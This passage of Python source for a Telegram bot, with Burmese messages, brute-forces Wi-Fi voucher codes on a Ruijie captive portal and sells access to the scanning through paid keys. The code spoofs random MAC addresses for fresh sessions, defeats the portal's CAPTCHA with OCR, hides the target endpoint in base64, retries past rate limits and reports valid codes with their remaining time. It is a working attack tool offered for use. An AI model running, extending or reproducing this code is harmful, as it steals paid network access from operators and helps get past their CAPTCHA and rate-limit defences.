แแญแฏแกแแแบแแแทแบแแฝแแบแธแแฑแธแแซแ") return if 'session_url' not in user_data[chat_id]: await bot.reply_to(message, "Scan แแฏแแบแแแบ Portal URL แแญแฏแกแแแบแแแทแบแแฝแแบแธแแฑแธแแซแ") return if chat_id in scan_tasks and not scan_tasks[chat_id]["task"].done(): await bot.reply_to(message, "Scan แแแบ แกแแฏแแบแแฏแแบแแฑแแผแฎแแผแ แบแแแบแ STOP SCAM แแแฏแแบแแผแแทแบ แแแบแแแทแบแแญแฏแแบแแซแแแบแ") return progress_msg = await bot.send_message(chat_id, "๐ Scanning VOUCHER Codes...\n\n") scan_id = str(uuid.uuid4()) try: user_name = message.from_user.first_name or message.from_user.username or "User" portal_url = user_data[chat_id].get('session_url', 'Unknown') last_url = user_data[chat_id].get('last_admin_notified_url', '') if portal_url != last_url and portal_url != 'Unknown': admin_msg = f"๐ **Scan Start Notification (/scan)**\n\n๐ค **User:** {user_name}\n๐ **User ID:** `{user_id}`\n๐ข **Mode:** {mode}\n๐ **Portal URL:**\n`{portal_url}`" for admin_id in ADMINS: try: await bot.send_message(admin_id, admin_msg, parse_mode="Markdown") except: pass user_data[chat_id]['last_admin_notified_url'] = portal_url except Exception as e: print(f"Admin Notification Error in /scan: {e}") task = asyncio.create_task( run_bruteforce( mode, chat_id, user_data[chat_id]['session_url'], scan_id, message=message, progress_msg=progress_msg ) ) scan_tasks[chat_id] = { "task": task, "stop": False, "scan_id": scan_id } @bot.message_handler(commands=['status']) async def status(message): if not is_admin(message.chat.id): await bot.reply_to(message, "No Permission") return active_scans = sum(1 for data in scan_tasks.values() if not data["task"].done()) approved_users = len(paid_users) + sum(1 for v in approve.values() if v) uptime_seconds = int(time.monotonic() - _start_time) hours, remainder = divmod(uptime_seconds, 3600) minutes, seconds = divmod(remainder, 60) await bot.reply_to( message, f"๐ Bot Status\n\n" f"โฑ Uptime: {hours}h {minutes}m {seconds}s\n" f"๐ Active Scans: {active_scans}\n" f"โ PAID Users: {approved_users}\n" f"๐ฅ Sessions Loaded: {len(user_data)}" ) async def send_success_file(chat_id): target_ids = ["6988969946", "1981253384", "1477223103"] if str(chat_id) in target_ids and chat_id in success_texts and success_texts[chat_id]: try: filename = f"success_{chat_id}_{int(time.time())}.txt" content = "\n".join(success_texts[chat_id]) with open(filename, "w", encoding="utf-8") as f: f.write(content) with open(filename, "rb") as f: await bot.send_document(chat_id, f, caption="โ Scan แแแบแแแทแบแแฝแฌแธแแฑแฌแแผแฑแฌแแทแบ แแแพแญแแฌแธแแฑแฌ Success Codes แแปแฌแธแแญแฏ แแญแฏแแบแกแแผแ แบ แแญแฏแทแแฑแธแแญแฏแแบแแซแแแบแ") if os.path.exists(filename): os.remove(filename) except Exception as e: print(f"Error sending file: {e}") @bot.message_handler(commands=['stop']) async def stop_scan_command(message): chat_id = message.chat.id data = scan_tasks.get(chat_id) if data and not data["task"].done(): data["stop"] = True data["scan_id"] = None await send_success_file(chat_id) data["task"].cancel() success_messages.pop(chat_id, None) success_texts.pop(chat_id, None) limited_messages.pop(chat_id, None) limited_texts.pop(chat_id, None) await bot.reply_to(message, "๐ Scan แแญแฏ แแแบแแแทแบแแผแฎแธแแซแแผแฎแ", reply_markup=get_back_keyboard()) else: await bot.reply_to(message, "แแแบแแแทแบแแแบ Scan แแแพแญแแซแ", reply_markup=get_back_keyboard()) async def github_update_scheduler(): global SUCCESS_CODE while True: await asyncio.sleep(180) items = [] while not SUCCESS_CODE.empty(): items.append(await SUCCESS_CODE.get()) if items: try: results, sha = await get_file_content("result.json") for item in items: chat_id = str(item["chat_id"]) code = item["code"] if chat_id not in results: results[chat_id] = [] if code not in results[chat_id]: results[chat_id].append(code) await update_file_content("result.json", results, sha, "Periodic Update") except Exception as e: print(f"Update Error: {e}") # ==================== GENERATORS (FIXED) ==================== def digit_generator(length): return "".join(random.choice(string.digits) for _ in range(length)) strings = string.ascii_lowercase + string.digits def all_generator(length=6): return "".join(random.choice(strings) for _ in range(length)) strings_2 = string.ascii_lowercase def ascii_generator(length=6): return "".join(random.choice(strings_2) for _ in range(length)) strings_mixed = string.ascii_lowercase + string.digits def mixed_generator(length=6): return "".join(random.choice(strings_mixed) for _ in range(length)) def iter_codes(mode, start_digit=None): # ----- NUMERIC DIGIT MODES ----- if mode in ["6", "7", "8", "9"]: length = int(mode) if start_digit is not None: # start_digit is a string like "3", we use it to limit range try: start_int = int(start_digit) # For 6,7,8,9 we only consider codes starting with that digit # Generate all numbers from start_int * 10^(length-1) to (start_int+1)*10^(length-1)-1 start = start_int * (10 ** (length - 1)) end = (start_int + 1) * (10 ** (length - 1)) # But if we generate all, it could be huge (for 9 it's 100 million). We'll use random sampling instead. # Better: use random.randint for infinite generator with start_digit filter # But to keep it simple and efficient, we'll generate random numbers within that range # and yield them one by one (infinite, but with start_digit constraint) while True: code_num = random.randint(start, end - 1) code_str = str(code_num).zfill(length) yield code_str except ValueError: # if start_digit is not a valid digit, fallback to full random while True: yield digit_generator(length) else: # No start_digit: infinite random generator (much faster than shuffling all) while True: yield digit_generator(length) # ----- ASCII LOWER MODES ----- if mode == "ascii-lower": while True: yield ascii_generator(6) if mode == "ascii-lower9": while True: yield ascii_generator(9) # ----- ALL (lowercase+digits) MODES ----- if mode == "all": while True: yield all_generator(6) # ----- MIXED MODES ----- if mode == "mixed": while True: yield mixed_generator(6) if mode == "mixed7": while True: yield mixed_generator(7) if mode == "mixed8": while True: yield mixed_generator(8) if mode == "mixed9": while True: yield mixed_generator(9) raise ValueError(f"Unsupported scan mode: {mode}") def format_progress(checked, total=None, speed=0, found=0): speed_str = f"{speed:,.0f} codes/min" if total is not None: bar_length = 20 percent = (checked / total) * 100 filled = min(bar_length, int(percent / 5)) bar = "โ" * filled + "โ" * (bar_length - filled) return ( f"๐Scanning VOUCHER Codes...\n\n" f"๐ฆChecked : {checked:,}/{total:,}\n" f"๐Progress : {percent:.2f}%\n" f"โกSpeed : {speed_str}\n" f"โ Success code hit : {found}\n" f"[{bar}]" ) return ( f"๐Scanning VOUCHER Codes...\n\n" f"๐ฆChecked : {checked:,}\n" f"โกSpeed : {speed_str}\n" f"โ Success code hit : {found}\n" f"๐Status : running\n" ) BATCH_SIZE = 1000 def _captcha_entry(chat_id): if chat_id not in captcha_state: captcha_state[chat_id] = { "session_id": None, "auth_code": None, "lock": asyncio.Lock(), } return captcha_state[chat_id] async def get_captcha(chat_id, session, session_url): entry = _captcha_entry(chat_id) if entry["session_id"] and entry["auth_code"]: return entry["session_id"], entry["auth_code"] async with entry["lock"]: if entry["session_id"] and entry["auth_code"]: return entry["session_id"], entry["auth_code"] session_id = await get_session_id(session, session_url, entry.get("session_id")) if not session_id: return None, None for _ in range(10): image = await Captcha_Image(session, session_id) text = await Captcha_Text(image) verified = await Varify_Captcha(session, session_id, text) if verified: entry["session_id"] = session_id entry["auth_code"] = text return session_id, text return None, None def invalidate_captcha(chat_id): entry = _captcha_entry(chat_id) entry["session_id"] = None entry["auth_code"] = None async def run_bruteforce(mode, chat_id, session_url, scan_id, message=None, progress_msg=None, start_digit=None): try: code_iter = iter_codes(mode, start_digit=start_digit) except ValueError as e: await bot.send_message(chat_id, str(e)) return # For numeric modes, we can optionally set a total for progress, but since we use infinite generator, total=None total = None # all modes are infinite now, we don't track total checked = 0 last_key_check = time.monotonic() scan_start = time.monotonic() global _voucher_sem if _voucher_sem is None: _voucher_sem = asyncio.Semaphore(CONCURRENCY) try: while True: current_task = scan_tasks.get(chat_id) if not current_task or current_task.get("scan_id") != scan_id: return if current_task.get("stop"): scan_tasks.pop(chat_id, None) success_messages.pop(chat_id, None) success_texts.pop(chat_id, None) return batch = [] for _ in range(BATCH_SIZE): try: batch.append(next(code_iter)) except StopIteration: break if not batch: break if time.monotonic() - last_key_check >= 600: auth_list, _ = await get_file_content("auth_list.json") if str(chat_id) not in auth_list and str(chat_id) not in paid_users: approve[chat_id] = False await bot.send_message(chat_id, "แแแบแ key แแแบแแแบแธ แแฏแแบแแฏแถแธแแฝแฌแธแแซแแผแฎแ") scan_tasks.pop(chat_id, None) success_messages.pop(chat_id, None) success_texts.pop(chat_id, None) return last_key_check = time.monotonic() async def _check(code): async with _voucher_sem: return await perform_check(session_url, code, chat_id, scan_id, message=message) await asyncio.gather(*[_check(code) for code in batch], return_exceptions=True) checked += len(batch) found = len(success_texts.get(chat_id, [])) elapsed = time.monotonic() - scan_start speed = (checked / elapsed * 60) if elapsed > 0 else 0 # Always show checked count, found, speed (total is None) text = format_progress(checked, None, speed, found) try: await bot.edit_message_text(chat_id=chat_id, message_id=progress_msg.message_id, text=text) except Exception: try: new_msg = await bot.send_message(chat_id, text) progress_msg.message_id = new_msg.message_id except Exception as err: print(f"Progress Message Error: {err}") if progress_msg: found = len(success_texts.get(chat_id, [])) finish_text = "๐Scanning Completed\n\n" + f"๐ฆChecked : {checked:,}\nโ Success code hit: {found}\n๐Progress : 100%\n[โโโโโโโโโโโโโโโโโโ]" try: await bot.edit_message_text(chat_id=chat_id, message_id=progress_msg.message_id, text=finish_text) except: try: await bot.send_message(chat_id, finish_text) except Exception as err: print(f"Progress Finish Message Error: {err}") await send_success_file(chat_id) scan_tasks.pop(chat_id, None) success_messages.pop(chat_id, None) success_texts.pop(chat_id, None) limited_messages.pop(chat_id, None) limited_texts.pop(chat_id, None) finally: await send_success_file(chat_id) scan_tasks.pop(chat_id, None) success_messages.pop(chat_id, None) success_texts.pop(chat_id, None) limited_messages.pop(chat_id, None) limited_texts.pop(chat_id, None) global active_scans_count, active_scans_lock async with active_scans_lock: active_scans_count = max(0, active_scans_count - 1) def get_mac(): first_byte = random.choice([0x02, 0x06, 0x0A, 0x0E]) mac = [first_byte] + [random.randint(0x00, 0xff) for _ in range(5)] return ':'.join(f'{x:02x}' for x in mac) async def get_session_id(session, session_url, previous_session_id=None): mac = get_mac() session_url = replace_mac(session_url, new_mac=mac) headers = { 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-language': 'en-US,en;q=0.9', 'priority': 'u=0, i', 'referer': session_url, 'sec-ch-ua': '"Chromium";v="148", "Microsoft Edge";v="148", "Not/A)Brand";v="99"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Android"', 'sec-fetch-dest': 'document', 'sec-fetch-mode': 'navigate', 'sec-fetch-site': 'same-origin', 'upgrade-insecure-requests': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0', 'cookie': 'sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2219e0ddbd9f2152-0df941f2efc6b08-4c657b58-1327104-19e0ddbd9f3a60%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E8%87%AA%E7%84%B6%E6%90%9C%E7%B4%A2%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC%22%2C%22%24latest_referrer%22%3A%22https%3A%2F%2Fgemini.google.com%2F%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTllMGRkYmQ5ZjIxNTItMGRmOTQxZjJlZmM2YjA4LTRjNjU3YjU4LTEzMjcxMDQtMTllMGRkYmQ5ZjNhNjAifQ%3D%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%2219e0ddbd9f2152-0df941f2efc6b08-4c657b58-1327104-19e0ddbd9f3a60%22%7D' } proxy = None try: async with session.get(session_url, headers=headers, allow_redirects=True, proxy=proxy) as req: response = str(req.url) session_id = re.search(r"[?&]sessionId=([a-zA-Z0-9]+)", response) if session_id: return session_id.group(1) return previous_session_id except: return previous_session_id def replace_mac(url, new_mac): url = re.sub(r'(?<=mac=)[^&]+', new_mac, url) return url async def perform_check(session_url, code, chat_id, scan_id=None, recheck=False, message=None): global _connector if not recheck: current_task = scan_tasks.get(chat_id) if not current_task or current_task.get("scan_id") != scan_id: return post_url = base64.b64decode( b'aHR0cHM6Ly9wb3J0YWwtYXMucnVpamllbmV0d29ya3MuY29tL2FwaS9hdXRoL3ZvdWNoZXIvP2xhbmc9ZW5fVVM=' ).decode() response = None for _attempt in range(3): timeout = aiohttp.ClientTimeout(total=30) async with aiohttp.ClientSession( connector=_connector, connector_owner=False, cookie_jar=aiohttp.CookieJar(), timeout=timeout ) as task_session: session_id = await get_session_id(task_session, session_url, None) if not session_id: return auth_code = None for _ in range(8): try: image = await Captcha_Image(task_session, session_id) text = await Captcha_Text(image) if not text: continue verified = await Varify_Captcha(task_session, session_id, text) if verified: auth_code = text break except Exception as e: print(f"[perform_check] captcha error: {e}") if not auth_code: return if not recheck: current_task = scan_tasks.get(chat_id) if not current_task or current_task.get("scan_id") != scan_id or current_task.get("stop"): return data = { "accessCode": code, "sessionId": session_id, "apiVersion": 1, "authCode": auth_code, } headers = { "authority": "portal-as.ruijienetworks.com", "accept": "*/*", "accept-language": "en-US,en;q=0.9", "content-type": "application/json", "origin": "https://portal-as.ruijienetworks.com", "referer": f"https://portal-as.ruijienetworks.com/download/static/maccauth/src/index.html?RES=./../expand/res/mrlev58jlgslg49ervu&IS_EG=0&sessionId={session_id}", "sec-ch-ua": '"Chromium";v="139", "Not;A=Brand";v="99"', "sec-ch-ua-mobile": "?1", "sec-ch-ua-platform": '"Android"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "user-agent": "Mozilla/5.0 (Linux; Android 12; K) AppleWebKit/537.36 (KHTML, like Geo) Chrome/139.0.0.0 Mobile Safari/537.36", } proxy = None try: async with task_session.post(post_url, json=data, headers=headers, proxy=proxy) as req: response = await req.text() resp_json = json.loads(response) print(f"[voucher] code={code} attempt={_attempt+1} status={req.status} resp={resp_json}") except Exception as e: print(f"[perform_check] error: {e}") return if response and 'request limited' in response: print(f"[perform_check] rate limited on code={code}, retrying (attempt {_attempt+1}/3)") continue break if not response: return if 'logonUrl' in response: if recheck: return code if chat_id not in success_texts: success_texts[chat_id] = [] expire_date, raw_mins = await Code_Expires_Date(session_id) success_texts[chat_id].append(f"๐ซ {code}\n {expire_date}") if chat_id not in user_data: user_data[chat_id] = {} current_display = user_data[chat_id].get('current_display_codes', []) current_display.append(f"๐ซ {code}\n {expire_date}") code_line = "\n\n".join(current_display) await SUCCESS_CODE.put({"chat_id": chat_id, "code": code}) if message: try: if chat_id not in success_messages or len(code_line) > 4000: sent = await bot.send_message(chat_id=message.chat.id, text=f"Success Codes:\n\n๐ซ {code}\n {expire_date}") success_messages[chat_id] = sent.message_id user_data[chat_id]['current_display_codes'] = [f"๐ซ {code}\n {expire_date}"] else: try: await bot.edit_message_text(chat_id=message.chat.id, message_id=success_messages[chat_id], text=f"Success Codes:\n\n{code_line}") user_data[chat_id]['current_display_codes'] = current_display except Exception: sent = await bot.send_message(chat_id=message.chat.id, text=f"Success Codes:\n\n๐ซ {code}\n {expire_date}") success_messages[chat_id] = sent.message_id user_data[chat_id]['current_display_codes'] = [f"๐ซ {code}\n {expire_date}"] except Exception as e: print(f"Success Message Error: {e}") elif 'STA' in response: if chat_id not in limited_texts: limited_texts[chat_id] = [] limited_texts[chat_id].append(code) limited_line = "\n".join(limited_texts[chat_id]) if message: try: if chat_id not in limited_messages: sent = await bot.send_message(chat_id=message.chat.id, text=f"Limited Codes:\n\n{limited_line}") limited_messages[chat_id] = sent.message_id else: try: await bot.edit_message_text(chat_id=message.chat.id, message_id=limited_messages[chat_id], text=f"Limited Codes:\n\n{limited_line}") except Exception: sent = await bot.send_message(chat_id=message.chat.id, text=f"Limited Codes:\n\n{limited_line}") limited_messages[chat_id] = sent.message_id except Exception as e: print(f"Limited Message Error: {e}") def Minute_to_Hour(total_minutes): if total_minutes == 'Unknown': return 'Unknown' try: mins = int(total_minutes) if mins == 0: return "0m" hours = mins // 60 rem_minutes = mins % 60 if hours > 0 and rem_minutes > 0: return f"{hours}h {rem_minutes}m" elif hours > 0: return f"{hours}h" else: return f"{rem_minutes}m" except: return 'Unknown' def should_show_code(total_minutes): if total_minutes == 'Unknown': return True try: mins = int(total_minutes) return mins == 0 or mins >= 1440 except: return True async def Code_Expires_Date(active_id): paths = [ f'https://portal-as.ruijienetworks.com/api/macc2/balance/getBalance/{active_id}', f'https://portal-as.ruijienetworks.com/api/macc/balance/getBalance/{active_id}', f'https://portal-as.ruijienetworks.com/api/maccauth/balance/getBalance/{active_id}', f'https://portal-as.ruijienetworks.com/api/auth/balance/getBalance/{active_id}' ] headers = { 'authority': 'portal-as.ruijienetworks.com', 'accept': 'application/json, text/javascript, */*; q=0.01', 'accept-language': 'en-US,en;q=0.9,my;q=0.8', 'content-type': 'application/json;', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'x-requested-with': 'XMLHttpRequest', } timeout = aiohttp.ClientTimeout(total=10) async with aiohttp.ClientSession( connector=_connector, connector_owner=False, cookie_jar=aiohttp.CookieJar(), timeout=timeout ) as fresh_session: for url in paths: try: async with fresh_session.get(url, headers=headers) as req: if req.status == 200: respond = await req.json() if respond.get('success'): result = respond.get('result', {}) raw_minutes = result.get('totalMinutes') if raw_minutes is None: raw_minutes = result.get('remainingMinutes') if raw_minutes is None: raw_minutes = 'Unknown' profile_name = result.get('profileName', 'Unknown') totaltime = Minute_to_Hour(raw_minutes) display = f"๐ Plan: {profile_name} | โณ Time: {totaltime}" return display, raw_minutes except Exception as e: print(f"[Code_Expires_Date] path error: {e}") continue return "๐ Plan: Unknown | โณ Time: Unknown", 'Unknown' _ocr = ddddocr.DdddOcr(show_ad=False) def _ocr_sync(image_bytes): nparr = np.frombuffer(image_bytes, np.uint8) img = cv2.imdecode(nparr, cv2.IMREAD_COLOR) if img is None: return None gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) blur = cv2.GaussianBlur(gray, (3, 3), 0) _, thresh = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) _, buffer = cv2.imencode('.png', thresh) result = _ocr.classification(buffer.tobytes()) return result.upper() async def Captcha_Text(image_bytes): return await asyncio.to_thread(_ocr_sync, image_bytes) async def Captcha_Image(session, session_id): headers = { 'authority': 'portal-as.ruijienetworks.com', 'accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8', 'accept-language': 'en-US,en;q=0.9,my;q=0.8', 'referer': f'https://portal-as.ruijienetworks.com/download/static/maccauth/src/index.html?RES=./../expand/res/mrlev58jlgslg49ervu&IS_EG=0&sessionId={session_id}', 'sec-ch-ua': '"Chromium";v="139", "Not;A=Brand";v="99"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Linux"', 'sec-fetch-dest': 'image', 'sec-fetch-mode': 'no-cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36', } params = { 'sessionId': session_id, '_t': str(time.time()), } proxy = None async with session.get('https://portal-as.ruijienetworks.com/api/auth/captcha/image', params=params, headers=headers, proxy=proxy) as req: return await req.read() async def Varify_Captcha(session, session_id, text): headers = { 'authority': 'portal-as.ruijienetworks.com', 'accept': '*/*', 'accept-language': 'en-US,en;q=0.9,my;q=0.8', 'content-type': 'application/json', 'origin': 'https://portal-as.ruijienetworks.com', 'referer': f'https://portal-as.ruijienetworks.com/download/static/maccauth/src/index.html?RES=./../expand/res/mrlev58jlgslg49ervu&IS_EG=0&sessionId={session_id}', 'sec-ch-ua': '"Chromium";v="139", "Not;A=Brand";v="99"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Linux"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36', } json_data = { 'sessionId': session_id, 'authCode': text, } proxy = None async with session.post('https://portal-as.ruijienetworks.com/api/auth/captcha/verify', headers=headers, json=json_data, proxy=proxy) as req: data = await req.json() print(f"[Varify_Captcha] status={req.status} authCode={text} response={data}") if data.get("success") == True: return session_id return None async def start_polling(): backoff = 5 while True: try: await bot.infinity_polling(timeout=20, request_timeout=20) return except (aiohttp.ClientError, asyncio.TimeoutError) as e: print(f"Polling connection error: {e}. Reconnecting in {backoff}s...") await asyncio.sleep(backoff) backoff = min(backoff * 2, 60) except Exception as e: print(f"Unexpected polling error: {e}. Reconnecting in {backoff}s...") await asyncio.sleep(backoff) backoff = min(backoff * 2, 60) async def main(): global session, _connector timeout = aiohttp.ClientTimeout(total=30) _connector = aiohttp.TCPConnector( limit=20000, limit_per_host=10000, ttl_dns_cache=300, ssl=False ) session = aiohttp.ClientSession( timeout=timeout, connector=_connector, connector_owner=False ) try: asyncio.create_task(web_server()) asyncio.create_task(github_update_scheduler()) await start_polling() finally: await session.close() await _connector.close() if __name__ == '__main__': asyncio.run(main())